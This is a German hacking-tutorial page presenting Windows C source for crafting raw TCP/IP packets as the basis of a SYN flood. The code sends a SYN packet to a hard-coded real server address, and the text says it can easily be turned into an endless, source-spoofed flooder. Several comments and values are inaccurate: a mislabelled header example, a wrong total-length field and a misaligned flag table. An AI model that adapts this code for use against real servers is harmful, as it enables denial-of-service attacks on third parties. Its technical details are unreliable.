News... | Hack-Acad | Downloads | Web-Projekte | Kontakt
HACKACAD - SYN FLooding (Code)

SYN Flooding ist eine beliebte Wurm/Virus Methode um zum Beispiel einen Webserver lahm zu legen (daher stammen Code-Fragmenete auch aus einem solchen). Dieser Code ist als Konsolen Beispiel ausgelegt, um die Herstellung eigener TCP/IP Headern zu erläutern.

Änderungen des Quellcodes in einen Endlos-Schleifen SYN Flooder mit gespoofter Absender IP Adresse sind ohne weiteres möglich, doch geschehen auf eigenes Risiko. Abschliessend nach dem Sourcecode folgt eine TCP Flag Übersicht.

 
 #include <winsock2.h>     // definiert z.B. Protokolle (IPPROTO_RAW) oder Ports/Sockets (IPPORT_FTP)
 #include <stdio.h>        // Standard I/O Funktionen wie printf()
 #include <string.h>       // String und Memory Funktionen wie strcmp() und memset()
 #include <ws2tcpip.h>     // beinhaltet spezifische Information für Winsock2 wzB. IP_HDRINCL

 #pragma comment(lib, "Ws2_32.lib")
 #pragma comment(lib, "wininet.lib")

 #define NUM_ELEMENTS(x)  (sizeof((x)) / sizeof((x)[0]))

 struct IPHDR
 {
    unsigned char  verlen;      //  IP version & length
                                /*  verlen hat 8 Bits, die ersten 4 für die Version
                                und die letzten 4 für die Länge.
                                Beispiel: HEX 0x65 ist Binär 0x01100101
                                Aufgeteilt also 0110 = DEZ 6 und 0101 = DEZ 5
                                Daraus resultiert Version 6 und Länge 20
                                */
    unsigned char  tos;	        //  IP type of service
                                /*  1 Byte:
                                    1000   --   minimize delay
                                    0100   --   maximize throughput
                                    0010   --   maximize reliability
                                    0001   --   minimize monetary cost
                                    0000   --   normal service
                                */
    unsigned short totallength; //  Total length
                                /*  2 Bytes = 16 bits
                                    Länge des IP-Paketes einschließlich der nachfolgenden Daten
                                */
    unsigned short id;          //  Unique identifier
                                /*  16 bit breit.
                                    Dieses und die beiden folgenden Felder 'Flags' und 'Fragment Offset'
                                    steuern die Reassembly (=Zusammensetzen von zuvor fragmentierten IP
                                    Datenpakete). Eindeutige Kennung eines Datagramms. Anhand dieses
                                    Feldes und der 'Source Address' kann der Empfänger die
                                    Zusammengehörigkeit von Fragmenten detektieren und sie wieder
                                    reassemblieren.
                                */
    unsigned short offset;      //  Fragment offset field
    unsigned char  ttl;         //  Time to live
    unsigned char  protocol;    //  Protocol(TCP, UDP, etc.)
    unsigned short checksum;    //  IP checksum
                                //  16 bit breit. Eine Prüfsumme ausschließlich für den Header
    unsigned int   srcaddr;     //  Source address
    unsigned int   dstaddr;     //  Destination address
 }; // Ende struct IPHDR

 struct TCPHDR
 {
   unsigned short	srcport; // Port über den wir senden
   unsigned short	dstport; // Port den wir ansprechen wollen
   unsigned int 	seqno;
   unsigned int 	ackno;
   unsigned char	offset;
   unsigned char	flags;   // Art des Pakets:
                                 // FIN / SYN / RST
                                 // PSH / ACK / URG
                                 // ENC / CWR
   unsigned short	window;
   unsigned short	checksum;
   unsigned short	urgptr;
 };

 struct FORCSUM
 {
      unsigned int srcaddr;
      unsigned int dstaddr;
      unsigned char padzero;
      unsigned char protocol;
      unsigned short tcplength;
 };

 // Funktions Prototypen

 int  RawSocket(char destIP[], int destPort, int fd, char srcIP[], int srcPort, int tcpFlag);
 int  csum(const void *bufv, int length);
 void IP_auslesen(char* IP_ADRESSE);
 int  SockAttempt(int * fd);

 int main(int argc, char *argv[])
 {
   //Deklaration der benötigte Variablen
   char srcIP[MAX_PATH], destIP[MAX_PATH];
   int  destPort, srcPort, tcpFlag, fd;

   //Initialisierung der Variablen
   IP_auslesen(srcIP);
   strcpy(destIP,"193.99.144.71"); // ping auf www.heise.de

   destPort = 80;
   srcPort  = 1723; // PPTP Port
   tcpFlag  = 2;    // SYN Flag
   fd       = 0;

   system("CLS");

   printf("Settings:\r\n");
   printf("---------\r\n");
   printf("Source IP       : %s\r\n",srcIP);
   printf("Source Port     : %i\r\n",srcPort);
   printf("Destination IP  : %s\r\n",destIP);
   printf("Destination Port: %i\r\n",destPort);
   printf("\r\n");
   printf("Now attempting to create socket...\r\n");

   if(SockAttempt(&fd)==0)
   {
		printf("... successful !!!\r\n\r\n");
   }

   printf("Creating own TCP/IP headers...\r\n");
   RawSocket(destIP, destPort, fd, srcIP, srcPort, tcpFlag);

   closesocket(fd);
   WSACleanup();

   system("PAUSE");
   return 0;
 }

 int SockAttempt(int * fd)
 {
   WORD sockVersion;
   WSADATA wsaData;
   int iErr = 0, opt = 1;

   sockVersion = MAKEWORD(2, 2);
   if (WSAStartup(sockVersion, &wsaData)!=0)
   {
	   printf("WSAStartup Error -> ");
	   iErr = WSAGetLastError();
   }
   else
   {
       *fd = WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
       if (*fd == SOCKET_ERROR)
       {
          printf("WSASocket Error -> ");
          iErr = WSAGetLastError();
       }
       else
       {
          if (setsockopt(*fd, IPPROTO_IP, IP_HDRINCL,(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
          {
             printf("setsockopt Error -> ");
             iErr = WSAGetLastError();
          }
       }
   }

   return iErr;
 }

 int RawSocket(char destIP[], int destPort, int fd, char srcIP[], int srcPort, int tcpFlag)
 {
    struct sockaddr_in to;
    struct FORCSUM forcsum;
    struct TCPHDR tcp;
    struct IPHDR ip;
    char buf[60] = {0};
    int iErr;

	to.sin_family      = AF_INET;
	to.sin_port        = htons((u_short)destPort);
	to.sin_addr.s_addr = inet_addr(destIP);

	// IP header erstellen
	ip.verlen = 0x45;
	ip.tos	  = 0x00;
	ip.totallength = 24;
	ip.id = 1;
	ip.offset = 0;
	ip.ttl = 0x80;
	ip.protocol = IPPROTO_TCP;
	ip.checksum = 0;
	ip.dstaddr = inet_addr(destIP);
	ip.srcaddr = inet_addr(srcIP);

	// TCP header erstellen
	tcp.dstport = htons((u_short)destPort);
	tcp.ackno = 0;
	tcp.offset = (unsigned char)(80);
	tcp.flags = tcpFlag;
	tcp.window = htons(0x4000);
	tcp.urgptr = 0;
	tcp.checksum = 0;

	forcsum.dstaddr = ip.dstaddr;
	forcsum.padzero = 0;
	forcsum.protocol = IPPROTO_TCP;
	forcsum.tcplength = htons(sizeof(tcp));

	tcp.srcport = htons((u_short)srcPort);
	tcp.seqno = htonl((unsigned short)((rand()<<16)|rand()));

	forcsum.srcaddr = inet_addr(srcIP);

	memcpy(buf, &forcsum, sizeof(forcsum));
	memcpy(buf+sizeof(forcsum), &tcp, sizeof(tcp));
	tcp.checksum = csum(buf, sizeof(forcsum)+sizeof(tcp));

	memcpy(buf, &ip, sizeof(ip));
	memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));

	memset(buf+sizeof(ip)+sizeof(tcp), 0,sizeof(buf)-sizeof(ip)-sizeof(tcp));

	ip.checksum = csum(buf, sizeof(ip)+sizeof(tcp));

	memcpy(buf, &ip, sizeof(ip));

	printf("done...\r\n");
	printf("Attempting to send data...\r\n");
	iErr = sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,(struct sockaddr*)&to, sizeof(to));

	if(iErr == SOCKET_ERROR)
	{
		iErr = WSAGetLastError();
		printf("sendto Error: %i\r\n\r\n",iErr);
	}
	else
		printf("Bytes Sent: %i\r\n\r\n",iErr);


	return 0;
 }

 int csum(const void *bufv, int length)
 {
    const unsigned short *buf = (const unsigned short *)bufv;
    unsigned long result = 0;

    while (length > 1) {
        result += *(buf++);
        length  -= sizeof(*buf);
    }
    if (length) result += *(unsigned char*)buf;
    result = (result >> 16) + (result & 0xFFFF);
    result += (result >> 16);
    result = (~result)&0xFFFF;

    return (int)result;
 }

 void IP_auslesen(char* IP_ADRESSE)
 {
  struct    hostent* h;
  WSADATA   wsaData;
  UCHAR     ucAddress[4];
  CHAR      szHostName[MAX_PATH];
  int       x;

    WSAStartup(MAKEWORD(1, 1), &wsaData);
    if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName)))
    {
        if(NULL != (h = gethostbyname(szHostName)))
        {
            for(x = 0; (h->h_addr_list[x]); x++)
            {

                ucAddress[0] = h->h_addr_list[x][0];
                ucAddress[1] = h->h_addr_list[x][1];
                ucAddress[2] = h->h_addr_list[x][2];
                ucAddress[3] = h->h_addr_list[x][3];

                wsprintf(IP_ADRESSE, "%d.%d.%d.%d", ucAddress[0], ucAddress[1], ucAddress[2], ucAddress[3]);
            }
        }
    }
    WSACleanup();
 }
 


TCP Flag Positionen:

  256 128 64 32 16 8 4 2 1  
  * CWR ECN URG ACK PSH RST SYN FIN  


Das bedeutet, wir haben "tcp.flags" mit "tcpFlag" einen Integer Wert zugeordnet. In unserem Beispiel Dezimal 2. Wollten wir nun ein SYN, URG Paket schicken, so ist tcpFlag auf SYN + URG zu setzen. Also 2 + 32 => 34 ! Ableitend davon bedeutet der * demnach das sätliche Flags gesetzt sind. CWR und ECN machen dabei nur bei Frame Relay einen Sinn.